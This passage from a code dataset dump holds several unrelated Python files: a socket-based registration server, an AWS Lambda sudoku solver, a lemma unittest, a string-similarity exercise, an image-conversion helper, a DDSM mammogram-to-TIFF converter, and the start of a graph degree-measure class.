PORT {port}')\nserv = socket(AF_INET, SOCK_STREAM)\nserv.bind((host, port))\nserv.listen(5)\n\nwhile 1:\n \n con, adr = serv.accept()\n print(f'conectado em {adr}')\n \n opcao = con.recv(1024)\n # nome = con.recv(1024)\n # cpf = con.recv(1024)\n # endereco = con.recv(1024)\n \n if(opcao == b''):\n \n pass\n \n elif(opcao == b'1'):\n #Adicionar\n nome = con.recv(1024)\n cpf = con.recv(1024)\n endereco = con.recv(1024)\n \n a = nome\n b = cpf\n c = endereco\n \n objeto = {\n 'Nome': str(a),\n 'CPF': str(b),\n 'Endereco': str(c)\n }\n \n list_accounts.append(objeto)\n \n try:\n\n with open('arquivo.json') as arquivo:\n \n cadastro = json.loads(arquivo.read())\n \n cadastro.append(objeto)\n \n with open('arquivo.json', 'w') as arquivo:\n json.dump(cadastro, arquivo, indent=4)\n \n except FileNotFoundError:\n \n with open('arquivo.json', 'w', encoding='utf-8') as arquivo:\n \n json.dump(list_accounts, arquivo, indent=4)\n\n con.sendall((\"Usuário Cadastrado\").encode('utf-8'))\n \n elif(opcao == b'2'):\n\n #Remover\n \n nome = con.recv(1024)\n \n a = str(nome)\n \n try:\n\n with open('arquivo.json') as arquivo:\n \n cadastro = json.loads(arquivo.read())\n \n for item in range(len(cadastro)):\n \n if(a == cadastro[item]['Nome']):\n \n cadastro.pop(item)\n \n with open('arquivo.json', 'w') as arquivo:\n \n json.dump(cadastro, arquivo, indent=4)\n \n con.sendall((\"Usuário deletado\").encode('utf-8'))\n \n else:\n pass\n \n except FileNotFoundError:\n \n con.sendall((\"Nenhum usuário cadastrado\").encode('utf-8'))\n \n elif(opcao == b'3'):\n\n #Consultar\n \n nome = con.recv(1024)\n \n a = str(nome)\n \n try:\n\n with open('arquivo.json') as arquivo:\n \n cadastro = json.loads(arquivo.read())\n \n for item in cadastro:\n \n if(a == item['Nome']):\n \n con.sendall(f' Nome: {item[\"Nome\"]} '.encode('utf-8'))\n con.sendall(f' CPF: {item[\"CPF\"]} '.encode('utf-8'))\n con.sendall(f' Endereço: {item[\"Endereco\"]} '.encode('utf-8'))\n \n else:\n pass\n \n except FileNotFoundError:\n \n print('Nenhum usuário cadastrado')\n con.sendall((\"Nenhum usuário cadastrado\").encode('utf-8'))\n \n else:\n \n con.sendall(str(\"Opção inválida\").encode('utf-8'))\n","sub_path":"servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"568186369","text":"import boto3\nimport os\nimport sys\nimport uuid\nimport json \nimport numpy as np\n\nfrom urllib.parse import unquote_plus\nfrom collections import namedtuple\nfrom operator import attrgetter\nfrom trp import Document\n\ns3_client = boto3.client('s3')\ntxt_client = boto3.client('textract')\n\nglobal SUDOKU_SIZE\nSUDOKU_SIZE = 9\n\n\ndef lambda_handler(event, context):\n\t# Read inputs\n\tif 'Records' in event:\n\t\trecord = event['Records'][0] # only 1 record \n\t\tif 'eventSource' in record:\n\t\t\tif record['eventSource'] == 'aws:sqs':\n\t\t\t\tgrid_id, input_matrix = sqs_handler(record)\n\t\t\telif record['eventSource'] == 'aws:s3':\n\t\t\t\tgrid_id, input_matrix = s3_handler(record)\n\t\t\telse:\n\t\t\t\traise Exception(f\"No compatible eventSource found in record: {record['eventSource']}\")\n\t\telse:\n\t\t\traise Exception(f'No eventSource found in record {record}')\n\telse:\n\t\traise Exception(f'No Records found in event {event}')\n\tprint(f'Grid ID: {grid_id} \\nInput matrix: \\n {input_matrix}')\n\t# Call solver\n\tinput_matrix_saved = [input_matrix.copy()]\n\tsolution, sol_found = solve_sudoku(grid_list = [input_matrix])\n\t# try agaon one number at a time in case it fails\n\tif not sol_found :\n\t\tprint('Try again filling one number at a time')\n\t\tsolution, sol_found = solve_sudoku(grid_list = [input_matrix_saved.copy()], one_at_a_time = True)\n\t# Send solution to DynamoDB\n\tdynamodb_table = boto3.resource('dynamodb').Table('sudokuGridRecords')\n\tif sol_found:\n\t\tprint('Solution grid \\n', solution)\n\t\tsend_sol_to_db = dynamodb_table.put_item(\n\t\t\tItem = {\n\t\t\t'grid_id': grid_id, \n\t\t\t'input': json.dumps(np.array(input_matrix_saved).ravel().tolist()),\n\t\t\t'solution': json.dumps(np.array(solution).ravel().tolist()),\n\t\t\t}\n\t\t)\n\telse:\n\t\tprint('No solution found')\n\t\tsend_sol_to_db = dynamodb_table.put_item(\n\t\t\tItem = {\n\t\t\t'grid_id': grid_id, \n\t\t\t'input': json.dumps(np.array(input_matrix_saved).ravel().tolist()),\n\t\t\t'solution': 'No solution found',\n\t\t\t}\n\t\t)\n\tif send_sol_to_db['ResponseMetadata']['HTTPStatusCode'] == 200:\n\t\tprint('Solution sent to Dynamodb')\n\telse:\n\t\tprint(f'Error in writing solution for grid {grid_id} into DynamoDB')\n\t\traise Exception({send_sol_to_db[\"ResponseMetadata\"]})\n\n\ndef sqs_handler(record):\n\tprint(f'Reading event from {record[\"eventSource\"]}')\n\tgrid_id = json.loads(record['body'])['grid_id']\n\tinput_numbers = json.loads(record['body'])['input_matrix']\n\tSUDOKU_SIZE = int(np.sqrt(len(input_numbers)))\n\tinput_matrix = np.matrix(np.array(input_numbers).reshape((SUDOKU_SIZE, SUDOKU_SIZE)))\n\treturn grid_id, input_matrix\n\n\ndef s3_handler(record):\n\t#process using S3 object\n\tresponse = txt_client.analyze_document(\n\t\tDocument=\n\t\t{\n\t\t\t'S3Object': \n\t\t\t{\n\t\t\t\t'Bucket': record['s3']['bucket']['name'], \n\t\t\t\t'Name': record['s3']['object']['key'],\n\t\t\t}\n\t\t},\n\t\tFeatureTypes=[\"TABLES\"]\n\t)\n\tgrid_id = os.path.splitext(record['s3']['object']['key'].replace('incoming/',''))[0]\n\t#Get the text blocks\n\tdoc = Document(response)\n\tinput_matrix = []\n\tfor page in doc.pages:\n\t\t# Print tables\n\t\tfor table in page.tables:\n\t\t\tfor r, row in enumerate(table.rows):\n\t\t\t\tfor c, cell in enumerate(row.cells):\n\t\t\t\t\tnumber = cell.text.replace('NOT_SELECTED,','').replace('SELECTED,','').replace(' ','')\n\t\t\t\t\tif number == '':\n\t\t\t\t\t\tnumber = 0\n\t\t\t\t\ttry:\n\t\t\t\t\t\tinput_matrix += [int(number)]\n\t\t\t\t\texcept:\n\t\t\t\t\t\tinput_matrix += [number]\n\t\t\t\t\t#print(\"Table[{}][{}] = {}\".format(r, c, ttt))\n\tif len(input_matrix) == 81 and all([isinstance(i, int) for i in input_matrix]):\n\t\tinput_matrix = np.matrix(input_matrix).reshape(9,9)\n\telse:\n\t\tdynamodb_table = boto3.resource('dynamodb').Table('sudokuGridRecords')\n\t\tprint('Grid not recognized')\n\t\tsend_sol_to_db = dynamodb_table.put_item(\n\t\t\tItem = {\n\t\t\t'grid_id': grid_id, \n\t\t\t'input': json.dumps(np.array(input_matrix).ravel().tolist()),\n\t\t\t'solution': 'Grid could not be read',\n\t\t\t}\n\t\t)\n\t\traise Exception(f'Sudoku not detected in picture {grid_id}')\n\treturn grid_id, input_matrix\n\n\ndef solve_sudoku(grid_list, one_at_a_time=False):\n\tcounter = 0\n\tsolution_found = False\n\twhile len(grid_list) > 0:\n\t\tcounter +=1\n\t\tcurrent_input_grid = grid_list.pop()\n\t\tif 0 in current_input_grid:\n\t\t\tcube_constraint, cube_solution = propagateConstraint(current_input_grid)\n\t\t\tif gridIsNotFeasible(cube_solution):\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tgrid_list += findNextGrids(cube_constraint, cube_solution, current_input_grid, one_at_a_time)\n\t\t\tif counter % 1000 == 0:\n\t\t\t\tprint('Iterations:', counter, '| Queue length:', len(grid_list), '| Left to find:', 81-np.sum(numberIs(0,cube_solution),axis=None))\n\t\telse:\n\t\t\tsolution_found = True\n\t\t\tprint(f'Solution found in {counter} iterations')\n\t\t\tbreak\n\treturn current_input_grid, solution_found\n\n\ndef gridIsNotFeasible(cube_solution):\n\tfeasibility = []\n\tfor number_grid in cube_solution:\n\t\t# column check\n\t\tcol_feasibility = all(np.sum(number_grid, axis=0) < 2)\n\t\t# row check\n\t\trow_feasibility = all(np.sum(number_grid, axis=1) < 2)\n\t\t# small square constraint\n\t\tsqrt_size = int(np.sqrt(SUDOKU_SIZE))\n\t\tnumber_grid_box = [np.sum(number_grid[int(sqrt_size*np.floor(i/sqrt_size)):int(sqrt_size*np.floor(i/sqrt_size)+sqrt_size), int(sqrt_size*i-SUDOKU_SIZE*np.floor(i/sqrt_size)):int(sqrt_size*i-SUDOKU_SIZE*np.floor(i/sqrt_size)+sqrt_size)], axis=None)< 2 for i in range(SUDOKU_SIZE)]\n\t\tbox_feasibility = all(number_grid_box)\n\t\tfeasibility += [col_feasibility and row_feasibility and box_feasibility]\n\treturn not all(feasibility)\n\n\ndef propagateConstraint(current_input_matrix):\n\tcube_solution = np.zeros((SUDOKU_SIZE, SUDOKU_SIZE, SUDOKU_SIZE)).astype(int)\n\tfor idx, row in enumerate(current_input_matrix):\n\t\tfor i in range(SUDOKU_SIZE):\n\t\t\tcube_solution[i][idx] = np.array(i+1 == row, dtype=int)\n\tcube_constraint = np.zeros((SUDOKU_SIZE, SUDOKU_SIZE, SUDOKU_SIZE)).astype(int)\n\tfor idx, mat in enumerate(cube_solution):\n\t\t# mat = matrix filled with 1 if it has number idx\n\t\tfor i in range(SUDOKU_SIZE):\n\t\t\t# line constraint\n\t\t\tif 1 in mat[i]:\n\t\t\t\tcube_constraint[idx][i] = np.ones(SUDOKU_SIZE)\n\t\t\t# row constraint\n\t\t\tif 1 in mat[:,i]:\n\t\t\t\tcube_constraint[idx][:,i] = np.ones(SUDOKU_SIZE)\n\t\t\t# small square constraint\n\t\t\tsqrt_size = int(np.sqrt(SUDOKU_SIZE))\n\t\t\trow_s = int(sqrt_size*np.floor(i/sqrt_size))\n\t\t\trow_e = int(sqrt_size*np.floor(i/sqrt_size)+sqrt_size)\n\t\t\tcol_s = int(sqrt_size*i-SUDOKU_SIZE*np.floor(i/sqrt_size))\n\t\t\tcol_e = int(sqrt_size*i-SUDOKU_SIZE*np.floor(i/sqrt_size)+sqrt_size)\n\t\t\tif 1 in mat[row_s:row_e, col_s:col_e]:\n\t\t\t\tcube_constraint[idx][row_s:row_e, col_s:col_e] = np.ones((sqrt_size,sqrt_size))\n\treturn cube_constraint, cube_solution\n\n\ndef findNextGrids(cube_constraint, cube_solution, current_input_matrix, one_at_a_time):\n\t# check which numbers are fully constraint (8) and still unknown\n\tnew_number_posistion = np.logical_and(np.sum(cube_constraint, axis=0)==(SUDOKU_SIZE-1), numberIs(0, cube_solution)==0)\n\t# if at least one is fully constrained, fill the grid with its value\n\tif True in new_number_posistion:\n\t\t# find the new number values\n\t\tnew_numbers = np.zeros((SUDOKU_SIZE,SUDOKU_SIZE))\n\t\tfor idx, mat in enumerate(cube_constraint):\n\t\t\tnew_numbers += (idx+1)*(1-mat)\n\t\tif one_at_a_time:\n\t\t\t# fill one number at a time, longer but avoid 16x16 empty grid issue where last 2 lines are filled simultaneously\n\t\t\tsingle_max_index = np.argmax(new_number_posistion)\n\t\t\tsingle_line_idx = int(single_max_index/SUDOKU_SIZE)\n\t\t\tsingle_col_idx = single_max_index % SUDOKU_SIZE\n\t\t\tcurrent_input_matrix[single_line_idx,single_col_idx] = new_numbers[single_line_idx,single_col_idx]\n\t\telse:\n\t\t\t# fill multiple numbers in one go, but need to make sure those obeys the sudoku rules\n\t\t\tcurrent_input_matrix[new_number_posistion] = new_numbers[new_number_posistion]\n\t\tgrid_output = [current_input_matrix]\n\t# if non are fully constrained, find all the possibilities and add them to the list\n\telse:\n\t\tsub_cube_constraint = np.sum(cube_constraint, axis=0)\n\t\tmask_filter = np.logical_and(sub_cube_constraint<(SUDOKU_SIZE-1), numberIs(0, cube_solution)==0)\n\t\tsub_cube_constraint[np.logical_not(mask_filter)] = 0\n\t\tmax_idx = np.argmax(sub_cube_constraint)\n\t\tbest_line_idx = int(max_idx/SUDOKU_SIZE)\n\t\tbest_col_idx = max_idx % SUDOKU_SIZE\n\t\t# find possible values for that number\n\t\tpossible_values = [idx+1 for idx,c in enumerate(cube_constraint) if c[best_line_idx, best_col_idx]==0]\n\t\tif possible_values == []:\n\t\t\tgrid_output=[]\n\t\telse:\n\t\t\t# return all the possible grids\n\t\t\tgrid_output = [current_input_matrix.copy() for i in possible_values]\n\t\t\tfor idx, value in enumerate(possible_values):\n\t\t\t\tgrid_output[idx][best_line_idx, best_col_idx] = value\n\treturn grid_output\n\n\ndef numberIs(i, cube_solution):\n\tif i > 0:\n\t\t# return the matrix where number i is located\n\t\treturn cube_solution[i-1]\n\telif i == 0:\n\t\t# return the matrix to say where the unknowed numbers are\n\t\treturn np.sum(cube_solution, axis=0)\n\telse:\n\t\treturn f'Error: Pleased enter a number between 0 and {SUDOKU_SIZE}'\n\n\t\n\n# Deprecated, used for direct invocation from API Gateway but browser timed out before the hardest grid were solved\n# Solved by using decoupled invocation\n#\n#\tdef api_handler(event):\n#\t\tprint(f'Reading event from API call')\n#\t\tgrid_id = json.loads(event['body'])['grid_id']\n#\t\tinput_numbers = json.loads(event['body'])['input_matrix']\n#\t\tSUDOKU_SIZE = int(np.sqrt(len(input_numbers)))\n#\t\tinput_matrix = np.matrix(np.array(input_numbers).reshape((SUDOKU_SIZE, SUDOKU_SIZE)))\n#\t\tsolution, sol_found = solve_sudoku(grid_list = [input_matrix])\n#\t\treturn {\"headers\": {'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*'}, \"statusCode\": 200, \"body\": json.dumps({\"input\": json.dumps(np.array(input_matrix_saved).ravel().tolist()), \"sol_found\": json.dumps(sol_found), \"solution\": json.dumps(np.array(solution).ravel().tolist())})}\n\n\n\n# Deprecated, used for direct invocation of lambda from S3 outgoing bucket (decoded grid)\n#\n#def s3_handler(record):\n#\t# Download file from s3 bucket location to local\n#\tbucket = record['s3']['bucket']['name']\n#\tkey = unquote_plus(record['s3']['object']['key'])\n#\tprint(f'Reading event from {key}')\n#\ttmpkey = key.replace('/', '')\n#\tdownload_path = '/tmp/{}{}'.format(uuid.uuid4(), tmpkey)\n#\ts3_client.download_file(bucket, key, download_path)\n#\tgrid_id = tmpkey.replace('outgoing', '').replace('.txt','')\n#\t# Open file\n#\twith open(download_path, 'r') as input_data_file:\n#\t\tinput_data = input_data_file.read()\n#\t# Read the sudoku grid\n#\tlines = input_data.split('\\n')\n#\tSUDOKU_SIZE = len(lines)\n#\tinput_matrix = np.matrix([np.array(l.split(), dtype=int) for l in lines])\n#\treturn grid_id, input_matrix\n\n\n\n","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":10452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"307236710","text":"import unittest\r\nfrom src.cantusNlp.utils.FileReader import FileReader\r\nfrom src.cantusNlp.utils.nlpPhenomena.Lemma import Lemma\r\n\r\nfr = FileReader()\r\nprojectDir = str(fr.calcPath(__file__).parent.parent.parent.parent)\r\n\r\ntest_data = {\r\n \"lemma\": \"Pferd\",\r\n \"source\": \"Pferde\",\r\n \"word_position\": 21\r\n}\r\n\r\n\r\nclass Test_instantiation(unittest.TestCase):\r\n\r\n def test_instantiation_raises_no_error(self):\r\n lemma = Lemma(test_data[\"lemma\"], test_data[\"source\"], test_data[\"word_position\"])\r\n\r\n def test_get_source_without_val_raises_error(self):\r\n lemma = Lemma(test_data[\"lemma\"])\r\n self.assertRaises(ValueError, lemma.get_source)\r\n\r\n def test_get_word_pos_without_val_raises_error(self):\r\n lemma = Lemma(test_data[\"lemma\"])\r\n self.assertRaises(ValueError, lemma.get_word_position)\r\n\r\n\r\nclass Test_return_as_dictionary(unittest.TestCase):\r\n\r\n def test_dictionary_equal_to_read_in_dict(self):\r\n lemma = Lemma(test_data[\"lemma\"], test_data[\"source\"], test_data[\"word_position\"])\r\n lemma_dict, key = lemma.return_as_dictionary()\r\n self.assertDictEqual(test_data, lemma_dict)\r\n\r\n def test_unique_key_is_lemma(self):\r\n lemma = Lemma(test_data[\"lemma\"], test_data[\"source\"], test_data[\"word_position\"])\r\n lemma_dict, key = lemma.return_as_dictionary()\r\n self.assertEquals(test_data[\"lemma\"], lemma_dict[\"lemma\"])\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()","sub_path":"test/unittests/TestLemma.py","file_name":"TestLemma.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"154387229","text":"import re\n\n\ndef solution(str1, str2):\n str1 = str1.lower()\n str2 = str2.lower()\n\n str1List = []\n str2List = []\n\n 패턴 = re.compile(r'[a-z]{2}')\n\n for i in range(len(str1)-1):\n 문자열 = str1[i]+str1[i+1]\n if 패턴.findall(문자열):\n str1List.append(문자열)\n\n for i in range(len(str2)-1):\n 문자열 = str2[i] + str2[i+1]\n if 패턴.findall(문자열):\n str2List.append(문자열)\n\n return len(set(str1List) & set(str2List)) / len(set(str1List) | set(str2List))","sub_path":"코테준비/2018kakao5.py","file_name":"2018kakao5.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"147328143","text":"# ----------------------------------------------------------------------------\n# Gimel Studio Copyright 2019-2021 by Noah Rahm and contributors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ----------------------------------------------------------------------------\n\nimport wx\nimport cv2\nimport numpy as np\n\n\n# def _ConvertImageToWx(image):\n# \"\"\" Converts the given ``numpy.ndarray`` object into a\n# ``wx.Bitmap`` with RGBA.\n# :param image: ``numpy.ndarray`` to convert\n# :returns: ``wx.Bitmap``\n# \"\"\"\n# height, width = image.shape[:2]\n\n# image = copy.deepcopy(image)\n\n# if image.shape[2] == 3:\n# image_rgba = cv2.cvtColor(image, cv2.COLOR_RGB2RGBA)\n# else:\n# image_rgba = image\n\n# # info = np.iinfo(image.dtype) # Get the information of the incoming image type\n# # data = image.astype(np.float64) / 200#info.max # normalize the data to 0 - 1\n# # data = 255 * data # Now scale by 255\n# image = image_rgba.astype(np.uint8)\n\n# return wx.Bitmap.FromBufferRGBA(width, height, image)\n\n\ndef ConvertImageToWx(cv2_image):\n height, width = cv2_image.shape[:2]\n\n info = np.iinfo(cv2_image.dtype) # Get the information of the incoming image type\n data = cv2_image.astype(np.float64) / info.max # normalize the data to 0 - 1\n data = 255 * data # Now scale by 255\n cv2_image = data.astype(np.uint8)\n\n cv2_image_rgb = cv2.cvtColor(cv2_image, cv2.COLOR_RGB2RGBA)\n return wx.Bitmap.FromBufferRGBA(width, height, cv2_image_rgb)\n","sub_path":"src/gimelstudio/interface/utils/img_utils.py","file_name":"img_utils.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"101338521","text":"import argparse\nimport csv\nimport ctypes\nfrom functools import partial\nimport os\nimport multiprocessing\nfrom subprocess import call\nimport tempfile\n\nfrom numpy import array, savetxt\nimport numpy as np\nimport SimpleITK as sitk\n\n\n####################################################\n# Process arguments\n####################################################\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"\"\n \"Make a tiff dataset from DDSM raws of normal cases.\")\n parser.add_argument('read_from', type=str,\n help=\"the path to the DDSM normals directory\")\n parser.add_argument('write_to', type=str,\n help=\"the destination directory for the converted \"\n \"(tiff) files\")\n parser.add_argument('--clip_noise', type=bool, default=True,\n help=\"clip out low and high values of image after \"\n \"conversion from raw for 'noise reduction'\")\n parser.add_argument('--resize', type=int, default=None,\n help=\"resize images to a square of this size\")\n parser.add_argument('--force', action='store_true',\n help=\"force overwrite of existing files\")\n args = parser.parse_args()\n return args\n\n\n####################################################\n# CSV fields to record\n####################################################\nfields = ['patient_id',\n 'breast_density',\n 'side',\n 'view',\n 'scanner_type',\n 'scan_institution',\n 'width',\n 'height',\n 'bpp',\n 'resolution',\n 'od_img_path']\n\n\n####################################################\n# Extract value from split list of data\n####################################################\ndef get_value(lst, row_name, idx):\n \"\"\"\n :param lst: data list, each entry is another list with whitespace separated data\n :param row_name: name of the row to find data\n :param idx: numeric index of desired value\n :return: value\n \"\"\"\n val = None\n for l in lst:\n if not l:\n continue\n\n if l[0] == row_name:\n try:\n val = l[idx]\n except Exception:\n print(row_name, idx)\n print(lst)\n val = None\n break\n return val\n\n\n####################################################\n# ICS Information extraction\n####################################################\nscanner_map = {\n ('A', 'DBA'): 'MGH',\n ('A', 'HOWTEK'): 'MGH',\n ('B', 'LUMISYS'): 'WFU',\n ('C', 'LUMISYS'): 'WFU',\n ('D', 'HOWTEK'): 'ISMD'\n}\n\n\ndef get_ics_info(ics_file_path):\n \"\"\"\n :param ics_file_path: path to ics file\n :return: dictionary containing all relevant data in ics file\n \"\"\"\n # get letter for scanner type\n ics_file_name = os.path.basename(ics_file_path)\n letter = ics_file_name[0]\n\n # get data from ics file\n with open(ics_file_path, 'r') as f:\n lines = list(map(lambda s: s.strip().split(), f.readlines()))\n\n # map ics data to values\n ics_dict = {\n 'patient_id': get_value(lines, 'filename', 1),\n 'age': get_value(lines, 'PATIENT_AGE', 1),\n 'scanner_type': get_value(lines, 'DIGITIZER', 1),\n 'scan_institution': scanner_map[(letter, get_value(lines,\n 'DIGITIZER', 1))],\n 'density': get_value(lines, 'DENSITY', 1)\n }\n\n for sequence in ['LEFT_CC', 'RIGHT_CC', 'LEFT_MLO', 'RIGHT_MLO']:\n if get_value(lines, sequence, 0) is None:\n continue\n\n sequence_dict = {\n 'height': int(get_value(lines, sequence, 2)),\n 'width': int(get_value(lines, sequence, 4)),\n 'bpp': int(get_value(lines, sequence, 6)),\n 'resolution': float(get_value(lines, sequence, 8))\n }\n\n ics_dict[sequence] = sequence_dict\n\n return ics_dict\n\n\n####################################################\n# Process an image from a normal DDSM case\n####################################################\nclass ddsm_normal_case_image(object):\n def __init__(self, path, ics_dict):\n\n fname = os.path.basename(path)\n case_id, sequence, ext = fname.split('.')\n self.case_id = case_id\n self.sequence = sequence\n self.ext = ext\n\n # file path data\n self.path = path\n\n # image information\n self.height = ics_dict[sequence]['height']\n self.width = ics_dict[sequence]['width']\n self.bpp = ics_dict[sequence]['bpp']\n self.resolution = ics_dict[sequence]['resolution']\n self.scanner_type = ics_dict['scanner_type']\n self.scan_institution = ics_dict['scan_institution']\n\n # patient information\n self.patient_id = ics_dict['patient_id']\n self.side, self.view = sequence.split('_')\n self.breast_density = ics_dict['density']\n\n # image information\n self._raw_image = None\n\n def _decompress_ljpeg(self, log_file_path='ljpeg_decompression_log.txt'):\n \"\"\"\n :param im_path: base path for ljpeg\n :param log_file_path: path to log for writing these\n :return: None\n \"\"\"\n with open(log_file_path, 'a') as log_file:\n # Assume jpeg binary is in PATH\n # TODO: install jpeg to a binary directory with setup.py\n call_lst = ['jpeg', '-d', '-s', self.path]\n call(call_lst, stdout=log_file)\n\n def _read_raw_image(self, force=False):\n \"\"\"\n Read in a raw image into a numpy array\n :param force: boolean flag if we should force a read if we already have this image\n :return: None\n \"\"\"\n\n # only read if we haven't already or\n # we aren't trying to force a read\n if (self._raw_image is not None) and not force:\n return\n\n try:\n # make sure decompressed image exists\n self._decompress_ljpeg()\n\n # read it in and make it correct\n raw_im_path = \"{}.1\".format(self.path)\n im = np.fromfile(raw_im_path, dtype=np.uint16)\n im.shape = (self.height, self.width)\n self._raw_image = im.byteswap() # switch endian\n finally:\n # clean up : delete decompressed ljpeg\n os.remove(\"{}.1\".format(self.path))\n\n def _od_correct(self, im, clip_noise=True):\n \"\"\"\n Map gray levels to optical density level\n :param im: image\n :return: optical density image\n \"\"\"\n im_od = np.zeros_like(im, dtype=np.float64)\n MAXVAL = 2**16-1\n if (self.scan_institution == 'MGH') and (self.scanner_type == 'DBA'):\n im_clip = np.clip(im,0,MAXVAL-1)+1 # add 1 to keep from log(0)\n im_od = (np.log10(im_clip) - 4.80662) / -1.07553\n elif (self.scan_institution == 'MGH') and (self.scanner_type == 'HOWTEK'):\n im_od = (-0.00094568 * im) + 3.789\n elif (self.scan_institution == 'WFU') and (self.scanner_type == 'LUMISYS'):\n im_od = (im - 4096.99) / -1009.01\n elif (self.scan_institution == 'ISMD') and (self.scanner_type == 'HOWTEK'):\n im_od = (-0.00099055807612 * im) + 3.96604095240593\n \n # Clip into [0, 4]\n im_od = np.clip(im_od, 0, 4)\n \n # perform heath noise correction\n if clip_noise:\n im_od = np.clip(im_od, 0.05, 3)\n im_od = (im_od-0.05)*4/(3-0.05) # rescale back into [0, 4]\n return im_od\n\n def save_image(self,\n out_dir,\n od_correct=False,\n clip_noise=True,\n resize=None,\n force=False):\n \"\"\"\n save the image data as a tiff file (without correction)\n :param out_dir: directory to put this image\n :param od_correct: boolean to decide to perform od_correction\n :param clip_noise: boolean for whether to clip out low and high values\n :param force: force if this image already exists\n :return: path of the image\n \"\"\"\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n # construct image path\n out_name = os.path.split(self.path)[1].replace(\".LJPEG\", \".tif\")\n im_path = os.path.join(out_dir, out_name)\n\n # don't write if image exists and we aren't forcing it\n if os.path.exists(im_path) and not force:\n return im_path\n\n # make sure we have an image to save\n if self._raw_image is None:\n self._read_raw_image()\n\n im_array = np.copy(self._raw_image)\n\n # convert to optical density\n if od_correct:\n im_array = self._od_correct(im_array, clip_noise=clip_noise)\n im_array = np.interp(im_array, (0.0, 4.0), (65535, 0))\n im_array = im_array.astype(np.uint16)\n\n # create image object\n im = sitk.GetImageFromArray(im_array)\n\n # resize if necessary\n if resize:\n im = sitk.Resample(im,\n (resize, resize),\n sitk.Transform(),\n sitk.sitkLinear,\n im.GetOrigin(),\n im.GetSpacing(),\n im.GetDirection(),\n 0,\n im.GetPixelID())\n\n # save image (make this atomic in case of interruption)\n tmp = tempfile.NamedTemporaryFile(delete=False,\n dir=out_dir,\n suffix='.tif')\n tmp_path = os.path.join(out_dir, tmp.name)\n sitk.WriteImage(im, tmp_path, True) # True for useCompression\n os.rename(tmp_path, im_path) # Atomic move\n\n # return location of image\n return im_path\n\n\n####################################################\n# Create the dataset (read, convert, save)\n####################################################\ndef make_data_set(read_from, write_to,\n clip_noise=True, resize=None, force=False):\n if not os.path.exists(write_to):\n os.makedirs(write_to)\n \n # Walk through image directory tree; load ics files and note down\n # all image paths for later multiprocessing.\n image_list = [] # tuples of (image_path, ics_dict)\n for curdir, dirs, files in os.walk(read_from):\n raw_image_filenames = []\n ics_filename = None\n for f in files:\n if f.endswith('.LJPEG'):\n raw_image_filenames.append(f)\n elif f.endswith('.ics'):\n ics_filename = f\n if not ics_filename:\n continue\n \n # Read ics info.\n ics_path = os.path.join(curdir, ics_filename)\n ics_dict = get_ics_info(ics_path)\n \n # Record paths.\n image_list.extend([(os.path.join(curdir, fn), ics_dict)\n for fn in raw_image_filenames])\n \n # Use multiprocessing to convert images.\n args = (read_from, write_to, resize, force)\n with multiprocessing.Pool() as pool:\n log = pool.map(partial(convert_image,\n read_from=read_from,\n write_to=write_to,\n clip_noise=clip_noise,\n resize=resize,\n force=force),\n image_list)\n \n # Parse results. Record output in csv file.\n outfile = open(os.path.join(write_to, 'ddsm_normal_cases.csv'), 'w')\n outfile_writer = csv.writer(outfile, delimiter=',')\n outfile_writer.writerow(fields)\n count_success = 0\n count_failure = 0\n for result in log:\n if result[0]==0:\n count_success += 1\n outfile_writer.writerow(result[1])\n else:\n count_failure += 1\n outfile.close()\n \n # Report on the number of successes and failures.\n print(\"SUCCESS: {}, FAILURE: {}\".format(count_success, count_failure))\n\n\n####################################################\n# Convert a raw image to a tif (and save)\n####################################################\ndef convert_image(image_tuple, read_from, write_to, clip_noise, resize, force):\n path, ics_dict = image_tuple\n rel_path = os.path.relpath(path, read_from)\n case = ddsm_normal_case_image(path, ics_dict)\n dir_write_to = os.path.join(write_to, os.path.dirname(rel_path))\n print(\"Converting {} ... \".format(rel_path), end=\"\")\n try:\n # uint8 optical density\n save_path = case.save_image(out_dir=dir_write_to,\n od_correct=True,\n clip_noise=clip_noise,\n resize=resize,\n force=force)\n case.od_img_path = save_path # to save in csv\n print(\"done\")\n return (0, [getattr(case, f) for f in fields])\n except Exception as e:\n print(\"error : {}\".format(e))\n return (1, None)\n\n\nif __name__=='__main__':\n args = parse_args()\n make_data_set(read_from=args.read_from,\n write_to=args.write_to,\n clip_noise=args.clip_noise,\n resize=args.resize,\n force=args.force)","sub_path":"ddsm_normals/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":13371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"349258888","text":"from braphy.graph_measures.measure import Measure\nfrom braphy.graph import *\nimport numpy as np\nimport copy\n\nclass MeasureDegree(Measure):\n\n def get_description():\n\n description = {}\n\n description['degree'] = 'The degree of a node is the number of edges connected ' +\\\n 'to the node. Connection weights are ignored in calculations.'\n\n description['avg_degree'] = 'The average degree of a graph is the average node degree. ' +\\\n 'The node degree is the number of edges connected to the node. ' +\\\n 'Connection weights are ignored in calculations.'\n\n description['in_degree'] = 'In directed graphs, the in-degree of a node is the number of ' +\\\n 'inward edges. Connection weights are ignored in calculations.'\n\n description['avg_in_degree'] = 'In directed 